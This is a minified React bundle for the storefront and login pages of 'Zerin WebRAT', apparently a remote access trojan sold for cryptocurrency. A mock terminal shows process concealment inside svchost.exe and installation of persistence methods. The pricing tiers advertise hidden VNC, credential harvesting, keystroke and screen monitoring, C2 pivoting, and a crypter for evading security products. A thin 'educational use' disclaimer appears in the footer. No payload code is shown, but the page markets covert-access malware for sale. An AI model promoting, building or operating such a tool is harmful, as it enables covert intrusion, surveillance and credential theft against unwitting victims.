",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",s.jsx("span",{className:"text-zerin-accent",children:"active"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",s.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:s.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),s.jsxs("div",{children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),s.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),s.jsx("section",{className:"relative z-10 py-24 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),s.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:jA.map((u,d)=>s.jsx(SA,{feature:u,index:d},u.tag))})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:s.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[s.jsx(xs,{value:256,suffix:"-bit",label:"Encryption"}),s.jsx(xs,{value:12,suffix:"",label:"Persist Methods"}),s.jsx(xs,{value:100,suffix:"%",label:"C2 Uptime"}),s.jsx(xs,{value:0,suffix:"",label:"Disk Artifacts"}),s.jsx(xs,{value:48,suffix:"",label:"Modules"})]})}),s.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),s.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[s.jsx("div",{className:"group relative",children:s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing (12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:s.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),s.jsxs("div",{className:"group relative",children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[s.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),s.jsxs("div",{className:"mt-8 text-center space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),s.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),s.jsxs(it,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Started"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function Jj(){const e=p.useRef(null);return p.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function a(){t.width=window.innerWidth,t.height=window.innerHeight}a(),window.addEventListener("resize",a);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d{cancelAnimationFrame(r),window.removeEventListener("resize",a)}},[]),s.jsxs(s.Fragment,{children:[s.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),s.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const Ag="zerin.pro",e5="zerpanel-67ontoplol.top";function ax(){return window.location.hostname===Ag||window.location.hostname===`www.${Ag}`}function CA(){const e=Qn(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await mE({username:t,password:r}),ax()){const f=Ze();if(f){window.location.href=`https://${e5}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof Jr?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(Jj,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[a&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:a})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),s.jsx("div",{className:"auth-stagger-5 pt-1",children:s.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",s.jsx(it,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function PA(){const e=Qn(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(""),[u,d]=p.useState(""),[f,m]=p.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==a){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}m(!0);try{if(await hE({username:t,password:r,license_key:l}),ax()){const g=Ze();if(g){window.location.href=`https://${e5}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof Jr)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{m(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(Jj,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:u})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),s.jsxs("div",{className:"auth-stagger-5",children:[s.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"confirmPassword",type:"password",value:a,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),s.jsxs("div",{className:"auth-stagger-6",children:[s.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),s.jsx("div",{className:"auth-stagger-7 pt-1",children:s.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",s.jsx(it,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function Ac(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),a=Math.floor(i/60),o=Math.floor(a/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:a<60?`${a}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function cm(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function EA(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function uo(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function fo(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function Os(e){return e.slice(0,8)}function t5(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function AA(e){return`data:image/bmp;base64,${e}`}function _A(e){return e.startsWith("Qk")}const jn="w-3.5 h-3.5 flex-shrink-0",Ht={eye:s.jsxs("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:s.jsxs("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 